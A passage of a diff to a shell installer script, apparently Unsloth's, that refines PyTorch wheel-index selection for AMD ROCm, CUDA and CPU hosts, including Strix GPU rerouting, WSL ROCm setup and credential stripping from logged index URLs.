hipconfig, /opt/rocm/.info/version, rocm-core package" >&2 - echo "[WARN] To install ROCm: https://rocm.docs.amd.com/en/latest/deploy/linux/index.html" >&2 + # AMD GPU confirmed (rocminfo/amd-smi or the KFD topology fallback) but + # no ROCm/HIP install was found to read the version from (amd-smi, + # /opt/rocm/.info/version, hipconfig, dpkg, rpm). This is the common + # fresh-install case: the GPU is real, but with no ROCm userspace the + # correct PyTorch build can't be selected. Warn with an actionable fix + # rather than silently installing CPU PyTorch. + # A user-set UNSLOTH_ROCM_GFX_ARCH seeded the probe above, so rocminfo/ + # amd-smi may still be unable to see the GPU; when the named arch maps to + # a wheel family, the runtime-less reroute (gated on the override) will + # install the AMD per-arch wheels -- a CPU-only warning here would be + # false for that path. Defer like the inferable-arch branch does. + if [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ] && \ + _amd_arch_index_family_for_gfx "$_amd_gfx_probe" >/dev/null 2>&1; then + echo "[WARN] AMD GPU detected with no readable ROCm version, but UNSLOTH_ROCM_GFX_ARCH=$_amd_gfx_probe is set -- routing to AMD per-arch wheels." >&2 + echo "$_base/cpu"; return + fi + echo "[WARN] AMD GPU detected, but no ROCm/HIP install was found to select the matching GPU PyTorch build -- falling back to CPU-only PyTorch." >&2 + echo "[WARN] Install the ROCm/HIP SDK, then re-run this installer:" >&2 + echo "[WARN] Arch / CachyOS : sudo pacman -S rocm-hip-sdk" >&2 + echo "[WARN] other distros : https://rocm.docs.amd.com/en/latest/deploy/linux/index.html" >&2 + echo "[WARN] Minimum required for version detection: amd-smi, hipconfig, /opt/rocm/.info/version, or the rocm-core package." >&2 echo "$_base/cpu"; return fi # Parse CUDA version from nvidia-smi output (POSIX-safe, no grep -P). @@ -1927,6 +2811,212 @@ get_torch_index_url() { else echo "$_base/cpu"; fi } +# ── Torch flavor helpers (to repair a stale CPU / wrong-CUDA wheel) ── +# torch.__version__ ($1) -> flavor tag (cuXXX / rocm / cpu); untagged wheel = cpu. +_torch_flavor_tag() { + case "$1" in + *+cu[0-9]*) printf '%s\n' "$1" | sed -n 's/.*+\(cu[0-9][0-9]*\).*/\1/p' ;; + *+rocm*) echo "rocm" ;; + *+cpu*) echo "cpu" ;; + "") echo "" ;; + *) echo "cpu" ;; + esac +} + +# Final path segment of a wheel index URL ($1), lowercased, query/fragment stripped first +# so a token-authenticated pin (.../cu128?token=x) classifies as cu128 (else it reinstalls +# every update). Classification only. Shared with the py / ps1 leaf extractors. +_torch_index_url_leaf() { + _tl_u="${1%%\?*}" + _tl_u="${_tl_u%%#*}" + # Strip ALL trailing slashes, not one: .../rocm7.2// must yield rocm7.2, not an empty leaf. + while [ -n "$_tl_u" ] && [ "${_tl_u%/}" != "$_tl_u" ]; do + _tl_u="${_tl_u%/}" + done + printf '%s' "${_tl_u##*/}" | tr '[:upper:]' '[:lower:]' +} + +# True (exit 0) when a lowercased leaf is an EXACT pip ROCm family: rocm[.] +# or a gfx ARCHITECTURE leaf (gfx followed by a digit: gfx90a, gfx1151, gfx120x-all). A leaf +# that merely starts with rocm/gfx (rocm7.2-private, gfx-private) is a custom verbatim pin. +# Matches the py / ps1 sides. +_is_pip_rocm_family_leaf() { + case "$1" in + gfx[0-9]*) return 0 ;; + rocm[0-9]*) + # Exact rocm[.]: both major and minor must be non-empty all-digits + # (rocm7., rocm7.2.1, rocm7.2-private are all custom pins, not a family). + _rocm_rest="${1#rocm}" + case "$_rocm_rest" in + *.*.*) return 1 ;; + *.*) + _rocm_minor="${_rocm_rest#*.}" + case "${_rocm_rest%%.*}" in "" | *[!0-9]*) return 1 ;; esac + case "$_rocm_minor" in "" | *[!0-9]*) return 1 ;; esac + ;; + *[!0-9]*) return 1 ;; + esac + return 0 + ;; + *) return 1 ;; + esac +} + +# Whether release base $1 (X.Y[.Z...]) falls inside constraint window $2 +# ("torch>=A.B[.C],="*",<"*) ;; + *) echo "no"; return ;; + esac + _trw_floor="${_trw_con#torch>=}"; _trw_floor="${_trw_floor%%,*}" + _trw_ceil="${_trw_con##*,<}" + _v_maj="${1%%.*}"; _v_rest="${1#*.}"; _v_min="${_v_rest%%.*}" + _f_maj="${_trw_floor%%.*}"; _f_rest="${_trw_floor#*.}"; _f_min="${_f_rest%%.*}" + _c_maj="${_trw_ceil%%.*}"; _c_rest="${_trw_ceil#*.}"; _c_min="${_c_rest%%.*}" + for _trw_n in "$_v_maj" "$_v_min" "$_f_maj" "$_f_min" "$_c_maj" "$_c_min"; do + case "$_trw_n" in ''|*[!0-9]*) echo "no"; return ;; esac + done + if [ "$_v_maj" -gt "$_f_maj" ] || { [ "$_v_maj" -eq "$_f_maj" ] && [ "$_v_min" -ge "$_f_min" ]; }; then + if [ "$_v_maj" -lt "$_c_maj" ] || { [ "$_v_maj" -eq "$_c_maj" ] && [ "$_v_min" -lt "$_c_min" ]; }; then + echo "yes" + return + fi + fi + echo "no" +} + +# Keep the previous venv's torch on a re-run: echo "torch==X.Y.Z" when the probed +# version ($1) is inside the active constraint window ($2), else "". The RELEASE is kept +# regardless of flavor tag; the pin installs from the freshly chosen index, so flavor +# follows the machine (cpu <-> cuda, cu126 -> cu130, PyPI bare -> +cu130) while the +# release follows the user. Gating on flavor was wrong: a PyPI torch reports a BARE +# version (on Linux the PyPI wheel IS CUDA), misclassified "cpu", so a healthy 2.10 on a +# cu130 host was moved to 2.11. Per-leaf floors still win (rocm7.2 / gfx >=2.11 for the +# Strix _grouped_mm fix, out-of-window manual installs) and are never pinned; the caller's +# _PREV_FALLBACK_CONSTRAINT installs the newest supported release when the index lacks the +# exact one. Opt out with UNSLOTH_TORCH_UPGRADE=1. +_previous_torch_pin() { + _ptp_ver="$1" + _ptp_con="$2" + [ -n "$_ptp_ver" ] || { echo ""; return; } + [ "${UNSLOTH_TORCH_UPGRADE:-0}" = "1" ] && { echo ""; return; } + _ptp_base="${_ptp_ver%%+*}" + # Base must be a plain numeric release (X.Y[.Z]); probe noise and + # nightly/dev/source builds (2.11.0.dev20250704, 2.9.0a0) must never + # become a pin -- no stable index carries them, so pinning would only + # print "keeping it" and then burn a doomed resolve before falling back. + case "$_ptp_base" in + *[!0-9.]* | *..* | .* | *.) echo ""; return ;; + [0-9]*.[0-9]*) ;; + *) echo ""; return ;; + esac + [ "$(_torch_release_in_window "$_ptp_base" "$_ptp_con")" = "yes" ] || { echo ""; return; } + echo "torch==$_ptp_base" +} + +# Install torch from TORCH_INDEX_URL honoring a kept-release pin: with _PREV_TORCH_PIN +# set, TORCH_CONSTRAINT is the exact previous release; fall back to the supported range +# if the index lacks it (pruned mirror) rather than failing. Used by every --default-index +# path (NVIDIA cu*, AMD rocm/gfx fallbacks, cpu/mac, ROCm repairs) so preservation is +# uniform. Extra args (e.g. --force-reinstall) are passed through to uv. +_install_torch_default_index() { + if [ -n "$_PREV_TORCH_PIN" ]; then + # Pair the companions with the kept torch minor: torchaudio no longer + # exact-pins torch in its metadata, so leaving it unconstrained resolves + # a newer mismatched build (a kept torch 2.9.0 pulled torchaudio 2.11.0). + _itdi_base="${_PREV_TORCH_PIN#torch==}" + _itdi_minor="${_itdi_base#*.}" + _itdi_minor="${_itdi_minor%%.*}" + _itdi_tv="torchvision" + _itdi_ta="torchaudio" + case "$_itdi_base" in + 2.*) + _itdi_tv="torchvision==0.$((_itdi_minor + 15)).*" + _itdi_ta="torchaudio==2.${_itdi_minor}.*" + ;; + esac + if ! run_install_cmd_retry "install PyTorch (kept release)" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" "$_itdi_tv" "$_itdi_ta" \ + --default-index "$TORCH_INDEX_URL" "$@"; then + substep "[WARN] $_PREV_TORCH_PIN is not installable from $(_strip_index_url_credentials "$TORCH_INDEX_URL") -- installing the newest supported release instead" "$C_WARN" + TORCH_CONSTRAINT="$_PREV_FALLBACK_CONSTRAINT" + _PREV_TORCH_PIN="" + run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" "$TORCHVISION_CONSTRAINT" "$TORCHAUDIO_CONSTRAINT" \ + --default-index "$TORCH_INDEX_URL" "$@" + fi + else + run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" "$TORCHVISION_CONSTRAINT" "$TORCHAUDIO_CONSTRAINT" \ + --default-index "$TORCH_INDEX_URL" "$@" + fi +} + +# Expected tag from the index leaf ($1): cuXXX / cpu / rocm (rocmX.Y and gfx* -> +# rocm). Empty on an unknown leaf (odd mirror) so the repair safely no-ops. +_expected_torch_flavor_tag() { + _leaf=$(_torch_index_url_leaf "$1") + case "$_leaf" in + cu[0-9]*) + # Exact cu + digits only; a cu*-suffixed leaf (cu128-private) -> "" (custom), + # else a correct +cu128 wheel is force-reinstalled every run. + case "${_leaf#cu}" in + *[!0-9]*) echo "" ;; + *) echo "$_leaf" ;; + esac + ;; + cpu) echo "cpu" ;; + # Exact rocm/gfx families only; a custom rocm*-suffixed leaf -> "" (custom). + *) + if _is_pip_rocm_family_leaf "$_leaf"; then echo "rocm"; else echo ""; fi + ;; + esac +} + +# Whether index ($1) supports a plain --default-index reinstall. pytorch.org cuXXX / +# rocmX.Y AND the repo.amd.com gfx* indexes are all PEP 503 simple indexes that uv +# resolves (torch + every transitive dep) via --default-index -- the same URLs the +# fresh-install paths above already use -- so a stale wheel is auto-repairable. +# Unknown/odd-mirror leaves -> no, so we warn rather than risk a wrong reinstall. +_torch_index_repairable() { + _leaf=$(_torch_index_url_leaf "$1") + case "$_leaf" in + cu[0-9]*) echo "yes" ;; + # Only EXACT rocm/gfx families resolve via --default-index; a suffixed leaf is verbatim. + *) + if _is_pip_rocm_family_leaf "$_leaf"; then echo "yes"; else echo "no"; fi + ;; + esac +} + +# Remove credentials from a wheel index URL ($1) so an authenticated pin never leaks: +# drops userinfo AND query/fragment; scheme/host/path stay exact. Shared with py / ps1. +_strip_index_url_credentials() { + _sic_url="$1" + case "$_sic_url" in + *://*) ;; + *) printf '%s' "$_sic_url"; return ;; + esac + _sic_scheme="${_sic_url%%://*}" + _sic_rest="${_sic_url#*://}" + # Drop query / fragment (may hold auth tokens). + _sic_rest="${_sic_rest%%\?*}" + _sic_rest="${_sic_rest%%#*}" + _sic_auth="${_sic_rest%%/*}" + # Drop user:pass@ userinfo if present. + case "$_sic_auth" in + *@*) _sic_host="${_sic_auth##*@}" ;; + *) _sic_host="$_sic_auth" ;; + esac + if [ "$_sic_auth" = "$_sic_rest" ]; then + printf '%s://%s' "$_sic_scheme" "$_sic_host" + else + printf '%s://%s/%s' "$_sic_scheme" "$_sic_host" "${_sic_rest#*/}" + fi +} + get_radeon_wheel_url() { # Only meaningful on Linux. Picks a repo.radeon.com base URL whose listing # contains torch wheels. Tries paths like rocm-rel-7.2.1/, rocm-rel-7.2/, @@ -2048,7 +3138,7 @@ _pick_radeon_wheel() { # the installer -- always returns 0. Runs the idempotent helper (ROCm 7.2 + # librocdxg), then sources the env it persisted so detection finds the GPU. # Export the ROCm-on-WSL env into this process and persist it to /etc/profile.d -# so non-login Studio/llama launches inherit it. Idempotent (writes only when +# so non-login Unsloth/llama launches inherit it. Idempotent (writes only when # the drop-in is missing); no-op without librocdxg, so never fires off WSL. # /etc/profile.d is root-owned -- sudo-tee when not root, else ROCm vanishes # after this shell on a non-root reinstall. Best-effort either way. @@ -2078,31 +3168,34 @@ _persist_rocm_wsl_dropin() { fi } +# _wsl_amd_gpu_name is defined earlier so both the reroute and this bootstrap can use it. _maybe_bootstrap_rocm_wsl() { [ "${OS:-}" = "wsl" ] || return 0 [ "${SKIP_TORCH:-false}" = "false" ] || return 0 [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0 # Leave any already-usable GPU completely alone (NVIDIA, or working ROCm). if _has_usable_nvidia_gpu; then return 0; fi - # "Usable ROCm" here = rocminfo enumerates the gfx1151 agent. Don't use the - # generic _has_amd_rocm_gpu: its broad gfx match accepts "gfx11-generic" and - # would skip this bootstrap while the real GPU is still unusable. awk consumes - # all input, so rocminfo isn't SIGPIPE'd like `grep -q` would under pipefail. + # Usable ROCm = rocminfo enumerates a real GPU agent: gfx[1-9] (excludes gfx000, + # the CPU agent) and not the "gfx11-generic" fallback. awk consumes all input so + # rocminfo isn't SIGPIPE'd like `grep -q` under pipefail. _ensure_rocm_probe_env if command -v rocminfo >/dev/null 2>&1 && \ - rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx1151/{found=1} END{exit !found}'; then + rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx[1-9]/ && !/generic/{found=1} END{exit !found}'; then # rocminfo may work only via the transient env _ensure_rocm_probe_env # just set, which dies with the installer. Persist the drop-in so login - # shells (Studio, llama.cpp) inherit it -- else a reinstall over an + # shells (Unsloth, llama.cpp) inherit it -- else a reinstall over an # existing /opt/rocm (uninstall keeps ROCm but drops it) loses the GPU. _persist_rocm_wsl_dropin return 0 fi # WSL GPU passthrough device must exist (present on any WSL2 GPU host). [ -e /dev/dxg ] || return 0 - # Only Strix Halo (gfx1151): rocminfo can't tell us the arch yet, so match - # the CPU model string WSL exposes (e.g. "AMD Ryzen AI Max+ ... Radeon 8060S"). - grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0 + # Strix APUs show in /proc/cpuinfo (the CPU model); discrete cards don't, so also + # ask the Windows host. Either signal suffices; the bootstrap detects arch from rocminfo. + if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9][05]S|Strix Halo' /proc/cpuinfo 2>/dev/null \ + && ! _wsl_amd_gpu_name >/dev/null 2>&1; then + return 0 + fi command -v bash >/dev/null 2>&1 || return 0 # Fast path: already configured (librocdxg present) but launched from a @@ -2112,7 +3205,7 @@ _maybe_bootstrap_rocm_wsl() { # shellcheck disable=SC1091 . /etc/profile.d/unsloth-rocm-wsl.sh || true else - # librocdxg present but the env drop-in is gone (e.g. a Studio + # librocdxg present but the env drop-in is gone (e.g. an Unsloth # uninstall removed it while keeping shared ROCm). Restore the env. _persist_rocm_wsl_dropin fi @@ -2120,7 +3213,8 @@ _maybe_bootstrap_rocm_wsl() { fi echo "" - substep "Detected AMD Strix Halo (Radeon 8000S) in WSL with no ROCm runtime yet." "$C_WARN" + _rw_gpu="$(_wsl_amd_gpu_name 2>/dev/null || true)"; [ -n "$_rw_gpu" ] || _rw_gpu="an AMD GPU" + substep "Detected ${_rw_gpu} in WSL with no ROCm runtime yet." "$C_WARN" substep "Setting up ROCm-on-WSL (ROCm 7.2 + librocdxg) automatically to enable this GPU." substep "One-time, uses sudo and a large download. (skip: re-run with UNSLOTH_SKIP_ROCM_WSL_SETUP=1)" @@ -2168,10 +3262,88 @@ _maybe_bootstrap_rocm_wsl() { [ -n "$_rw_tmp" ] && rm -f "$_rw_tmp" return 0 } -_maybe_bootstrap_rocm_wsl || true +# When the caller pins the wheel index (UNSLOTH_TORCH_INDEX_URL / _FAMILY), honour it +# everywhere: skip the WSL ROCm bootstrap and the Radeon/Strix reroute below (which would +# re-probe the GPU and overwrite the pin). Trim whitespace first (parity with +# get_torch_index_url): a whitespace-only override is unset there, so must not flip this true. +_torch_index_pinned=false +_ti_url_trim="${UNSLOTH_TORCH_INDEX_URL:-}" +_ti_url_trim="${_ti_url_trim#"${_ti_url_trim%%[![:space:]]*}"}"; _ti_url_trim="${_ti_url_trim%"${_ti_url_trim##*[![:space:]]}"}" +_ti_family_trim="${UNSLOTH_TORCH_INDEX_FAMILY:-}" +_ti_family_trim="${_ti_family_trim#"${_ti_family_trim%%[![:space:]]*}"}"; _ti_family_trim="${_ti_family_trim%"${_ti_family_trim##*[![:space:]]}"}" +if [ -n "$_ti_url_trim" ] || [ -n "$_ti_family_trim" ]; then + _torch_index_pinned=true +fi +[ "$_torch_index_pinned" = true ] || _maybe_bootstrap_rocm_wsl || true TORCH_INDEX_URL=$(get_torch_index_url) +# Linux: ROCm runtime missing but a supported AMD gfx arch is inferable (Strix Halo +# in /proc/cpuinfo, lspci marketing name, UNSLOTH_ROCM_GFX_ARCH). Route to AMD's +# per-arch wheels like install.ps1 does on Windows (unslothai#7301). +# Gated on the runtime probes NOT naming a gfx: either no AMD GPU is detected at +# all (_has_amd_rocm_gpu false), or the GPU is visible only through the +# env-independent KFD topology while rocminfo/amd-smi can't read its arch +# (KFD-only host, unslothai#7314 -- before the KFD detection fix these hosts +# reached this reroute via the false branch, so the empty-probe condition +# preserves that routing). A */cpu index chosen WITH a readable gfx +# (unsupported/unreadable ROCm version, after its own warning) is a deliberate +# fallback -- rerouting it would contradict that decision, and stays excluded +# because the shared probe returns its gfx. An explicit UNSLOTH_ROCM_GFX_ARCH +# override stays authoritative either way. +if [ "$_torch_index_pinned" = false ] && [ "$SKIP_TORCH" = false ] && \ + ! _has_usable_nvidia_gpu && \ + { [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ] || ! _has_amd_rocm_gpu || \ + [ -z "$(_probe_amd_gfx_arch)" ]; } && \ + case "$(uname -s)" in Linux) true ;; *) false ;; esac && \ + case "$_ARCH" in x86_64|amd64) true ;; *) false ;; esac; then + # ROCm torch wheels are x86_64-only; get_torch_index_url returns CPU on other + # arches, so an inferred/overridden gfx must not reroute arm64 to AMD wheels. + case "$TORCH_INDEX_URL" in + */cpu) + _linux_inferred_gfx=$(_infer_linux_amd_gfx_arch 2>/dev/null || true) + if [ -n "$_linux_inferred_gfx" ]; then + _amd_family=$(_amd_arch_index_family_for_gfx "$_linux_inferred_gfx") || _amd_family="" + if [ -n "$_amd_family" ]; then + _amd_mirror="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}" + while [ "${_amd_mirror%/}" != "$_amd_mirror" ]; do + _amd_mirror="${_amd_mirror%/}" + done + TORCH_INDEX_URL="${_amd_mirror}/${_amd_family}/" + # Hand the inferred arch to setup.sh (llama.cpp): it re-probes + # ROCm on its own, and on these runtime-less hosts its probes + # find nothing, so without this it classifies the box as + # non-ROCm and installs the CPU prebuilt while torch just got + # AMD per-arch wheels. setup.sh and install_llama_prebuilt.py + # both honor UNSLOTH_ROCM_GFX_ARCH, so exporting it is the + # whole handoff (a user-set override re-exports unchanged). + export UNSLOTH_ROCM_GFX_ARCH="$_linux_inferred_gfx" + case "$_linux_inferred_gfx" in + gfx1201|gfx1200|gfx1151|gfx1150|gfx1152) + TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0" + TORCHVISION_CONSTRAINT="torchvision>=0.26.0,<0.27.0" + TORCHAUDIO_CONSTRAINT="torchaudio>=2.11.0,<2.12.0" + ;; + esac + echo "" >&2 + # KFD-only hosts reach this reroute with /dev/kfd present + # (that's what detected them), so don't claim it's missing. + if _has_amd_rocm_gpu; then + echo " [WARN] AMD GPU visible via the kernel driver (KFD) but rocminfo/amd-smi can't read its gfx arch; using $_linux_inferred_gfx." >&2 + else + echo " [WARN] ROCm runtime not visible (/dev/kfd, rocminfo, amd-smi) but $_linux_inferred_gfx inferred." >&2 + fi + echo " [WARN] Routing to AMD arch-specific wheels ($(_strip_index_url_credentials "$TORCH_INDEX_URL"))." >&2 + echo " [WARN] These wheels bundle their own ROCm runtime; install the kernel stack for native compute:" >&2 + echo " [WARN] https://docs.unsloth.ai/get-started/install-and-update/amd" >&2 + echo " [WARN] Tip: set UNSLOTH_ROCM_GFX_ARCH=$_linux_inferred_gfx to skip inference next time." >&2 + echo "" >&2 + fi + fi + ;; + esac +fi + # Export the resolved torch backend ("cuda", "rocm", or "cpu") so that # downstream scripts (setup.sh -> install_python_stack.py) know what was # chosen here and can skip ROCm-specific repair steps on CUDA/CPU hosts. @@ -2179,24 +3351,74 @@ TORCH_INDEX_URL=$(get_torch_index_url) # whose base path happens to contain "rocm" or "gfx" must not mislabel a # cu*/cpu index as ROCm (radeon repo URLs end in rocm-rel-X.Y/, Strix # overrides in gfxNNNN/, so the trailing slash is stripped first). -_torch_index_leaf="${TORCH_INDEX_URL%/}" +# Lowercase the leaf so every gfx*/rocm*/cu* arm matches regardless of case (canonical AMD +# RDNA4 leaf is gfx120X-all). CUDA is branded only on a real cu[0-9]* leaf, so a mirror +# leaf (/current) does NOT commit a CUDA backend; an unknown leaf leaves the var unset so +# the stack probes the GPU. Query/fragment dropped first, then ALL trailing slashes (in +# lockstep with the shared _torch_index_url_leaf extractor). +_torch_index_leaf="${TORCH_INDEX_URL%%\?*}" +_torch_index_leaf="${_torch_index_leaf%%#*}" +# Strip ALL trailing slashes, not one: .../cu128// must yield cu128, not an empty leaf. +while [ -n "$_torch_index_leaf" ] && [ "${_torch_index_leaf%/}" != "$_torch_index_leaf" ]; do + _torch_index_leaf="${_torch_index_leaf%/}" +done _torch_index_leaf="${_torch_index_leaf##*/}" +_torch_index_leaf=$(printf '%s' "$_torch_index_leaf" | tr '[:upper:]' '[:lower:]') case "$_torch_index_leaf" in rocm*|gfx*) export UNSLOTH_TORCH_BACKEND="rocm" ;; cpu) export UNSLOTH_TORCH_BACKEND="cpu" ;; - *) export UNSLOTH_TORCH_BACKEND="cuda" ;; + cu[0-9]*) export UNSLOTH_TORCH_BACKEND="cuda" ;; + # Unknown leaf (odd mirror, /current): unset so a stale inherited value can't leak and + # the stack probes the GPU. + *) unset UNSLOTH_TORCH_BACKEND ;; esac -# rocm7.2 ships torch 2.11.0 -- adjust the constraint to allow it. -# All other ROCm tags and CUDA stay within <2.11.0. -case "$TORCH_INDEX_URL" in - */rocm7.2) TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0" ;; +# Whether TORCH_INDEX_URL names an actual pip ROCm family (rocm* / gfx*), gating the +# ROCm-only side effects below (AMD bitsandbytes, ROCm-torch repair). Digit-gated so a leaf +# merely STARTING with "rocm" isn't force-repaired from the wrong path. +if _is_pip_rocm_family_leaf "$_torch_index_leaf"; then + _torch_index_is_rocm_family=true +else + _torch_index_is_rocm_family=false +fi + +# rocm7.2 and the per-gfx indexes with the _grouped_mm <2.11 bug (gfx120X-all, gfx1151, +# gfx1150) ship torch 2.11.0 -- raise the floor (also covers a pinned override that skipped +# the Strix reroute). Pin the companions too: the per-gfx index publishes them independently +# and a bare name can resolve a 2.12 ABI-mismatched wheel. Match on the FINAL leaf so a +# custom mirror with a gfx/rocm7.2 path segment but a cu*/cpu family isn't forced. +case "$_torch_index_leaf" in + rocm7.2|gfx120x-all|gfx1151|gfx1150|gfx1152) + TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0" + TORCHVISION_CONSTRAINT="torchvision>=0.26.0,<0.27.0" + TORCHAUDIO_CONSTRAINT="torchaudio>=2.11.0,<2.12.0" + ;; + # CUDA cu12x/cu13x indexes ship torch 2.11.x: widen the ceiling to <2.12.0 (matches + # _CUDA_TORCH_PKG_SPEC) and widen the companions with it so the trio stays paired. + cu[0-9]*) + TORCH_CONSTRAINT="torch>=2.4,<2.12.0" + TORCHVISION_CONSTRAINT="torchvision>=0.19,<0.27.0" + TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<2.12.0" + ;; esac +# A pinned custom/unknown-leaf index (/simple, /current, /cu128-private) has no curated +# companion set, so bound torchvision/torchaudio to the same <2.11 range the Python path pins +# (else a mirror with newer companions resolves a 2.12 ABI-mismatched wheel). Known families +# keep their curated companions above (_expected_torch_flavor_tag returns "" only for custom). +if [ "$_torch_index_pinned" = true ] && \ + [ -z "$(_expected_torch_flavor_tag "$TORCH_INDEX_URL")" ]; then + TORCHVISION_CONSTRAINT="torchvision>=0.19,<0.26.0" + TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<2.11.0" +fi + # Auto-detect GPU for AMD ROCm based # get_torch_index_url must have chosen */rocm* # (gfx in rocminfo or amd-smi list). Then require rocminfo "Marketing Name:.*Radeon". +# Skipped when the index is pinned: an explicit override must not be rerouted to the +# Radeon/Strix repos by GPU probing. _amd_gpu_radeon=false +if [ "$_torch_index_pinned" = false ]; then case "$TORCH_INDEX_URL" in */rocm*) if _has_amd_rocm_gpu && command -v rocminfo >/dev/null 2>&1 && \ @@ -2205,29 +3427,64 @@ case "$TORCH_INDEX_URL" in fi ;; esac -# ── Strix Halo / Strix Point: force rocm7.2 wheels, bypass Radeon repo ─────── -# gfx1151 (Strix Halo) and gfx1150 (Strix Point) have a ROCm 7.1 driver bug -# that causes a segfault in torch._grouped_mm (moe_utils.py line 167). -# The Radeon repo now ships cp313 wheels for rocm-rel-7.1, so when -# _amd_gpu_radeon=true the installer silently lands on the broken combo. -# Detect these GPUs when TORCH_INDEX_URL is rocm7.1 and override to rocm7.2. -case "$TORCH_INDEX_URL" in - */rocm7.1|*/rocm7.1.*) +# 0 when a rocmX.Y index leaf ($1, the final path segment) is older than floor +# $2.$3 (int compare, so rocm7.2 < rocm7.13). Non-rocm leaves (gfx*, cu*, cpu) and +# non-numeric versions return 1. Leaf-based (like $_torch_index_leaf) so a mirror +# base holding its own rocm token compares the family leaf, not the base path. +_rocm_leaf_below() { + case "$1" in rocm[0-9]*.[0-9]*) : ;; *) return 1 ;; esac + _rb=${1#rocm}; _maj=${_rb%%.*}; _min=${_rb#*.}; _min=${_min%%.*} + case "$_maj$_min" in *[!0-9]*) return 1 ;; esac + if [ "$_maj" -lt "$2" ]; then return 0; fi + if [ "$_maj" -eq "$2" ] && [ "$_min" -lt "$3" ]; then return 0; fi + return 1 +} +# ── Strix Halo / Strix Point: route to the AMD arch-specific index ─────────── +# gfx1151/gfx1150 need torch 2.11+rocm7.13 from repo.amd.com/rocm/whl/gfx/, +# which carries AMD's real fixes (the rocm7.1 _grouped_mm segfault, moe_utils.py:167, +# and later Strix kernel bugs). Every generic pytorch.org index below rocm7.13 lacks +# them (and the Radeon repo can be offline, unslothai#7264), so reroute a detected +# Strix GPU whenever the picked index is older than the arch build -- covers today's +# rocm6.0-7.2 and any future 7.x < 7.13; rocm7.13+ already has the fixes, so leave it. +case "$_torch_index_leaf" in + rocm[0-9]*) # Collect every gfx token in rocminfo / amd-smi enumeration order # (skip duplicates), then index by HIP_VISIBLE_DEVICES / # ROCR_VISIBLE_DEVICES so a mixed Strix iGPU + non-Strix dGPU box # where the user selected the dGPU does NOT get rerouted to the # Strix per-gfx index. - _gfx_all="" - if command -v rocminfo >/dev/null 2>&1; then - _gfx_all=$(rocminfo 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}') + # || true on each probe: no gfx match makes grep exit 1, which under + # set -euo pipefail would abort the installer before the next fallback + # runs (now that the case matches every rocm* index, not just rocm7.1). + # A user-supplied UNSLOTH_ROCM_GFX_ARCH overrides probing (mirrors setup.sh + # and the display block), so a Strix override still reaches the arch index. + _gfx_all=$(printf '%s' "${UNSLOTH_ROCM_GFX_ARCH:-}" | tr '[:upper:]' '[:lower:]') + if [ -z "$_gfx_all" ] && command -v rocminfo >/dev/null 2>&1; then + _gfx_all=$(rocminfo 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) fi if [ -z "$_gfx_all" ] && command -v amd-smi >/dev/null 2>&1; then - _gfx_all=$(amd-smi list 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}') + _gfx_all=$(amd-smi list 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) # PowerShell paths also probe `amd-smi static --asic`; mirror it # so a host with hipinfo-less amd-smi reports the gfx target. if [ -z "$_gfx_all" ]; then - _gfx_all=$(amd-smi static --asic 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}') + _gfx_all=$(amd-smi static --asic 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) + fi + fi + # get_torch_index_url reads the arch with ROCR/HIP masks cleared, so a + # mask hiding every agent (e.g. ROCR_VISIBLE_DEVICES=-1) still lands + # here on a generic rocm index; re-probe unmasked or a masked-out Strix + # box keeps the broken generic wheels. Partial masks never get here + # (they enumerate at least one agent above) and keep their selection. + # ${VAR+x} (not :-): a SET-but-empty mask also hides every agent and + # must trigger the re-probe too. + if [ -z "$_gfx_all" ] && [ -n "${ROCR_VISIBLE_DEVICES+x}${HIP_VISIBLE_DEVICES+x}" ]; then + if command -v rocminfo >/dev/null 2>&1; then + _gfx_all=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; rocminfo 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) + fi + if [ -z "$_gfx_all" ] && command -v amd-smi >/dev/null 2>&1; then + _gfx_all=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; amd-smi list 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) + [ -z "$_gfx_all" ] && \ + _gfx_all=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; amd-smi static --asic 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true) fi fi _runtime_gfx="" @@ -2248,17 +3505,28 @@ case "$TORCH_INDEX_URL" in if (n > 0) print vals[idx] }') fi + # An explicit UNSLOTH_ROCM_GFX_ARCH=gfx906 pins the runtime target to the + # MI50 / Radeon VII path and must win over Strix probe-order detection on a + # mixed Strix + MI50 host, so the Strix reroute is suppressed when it is set. + # Normalize a copied HIP gcnArchName (gfx906:sramecc-:xnack- -> gfx906) and + # trim whitespace (mirrors the Python .strip()) so the feature-flag suffix or + # a stray newline does not defeat the exact gfx906 comparisons below. + _gfx906_env=$(printf '%s' "${UNSLOTH_ROCM_GFX_ARCH:-}" | tr '[:upper:]' '[:lower:]' | tr -d '[:space:]') + _gfx906_env=${_gfx906_env%%:*} _strix_gfx="" - case "$_runtime_gfx" in - gfx1151|gfx1150) _strix_gfx="$_runtime_gfx" ;; - esac - if [ -n 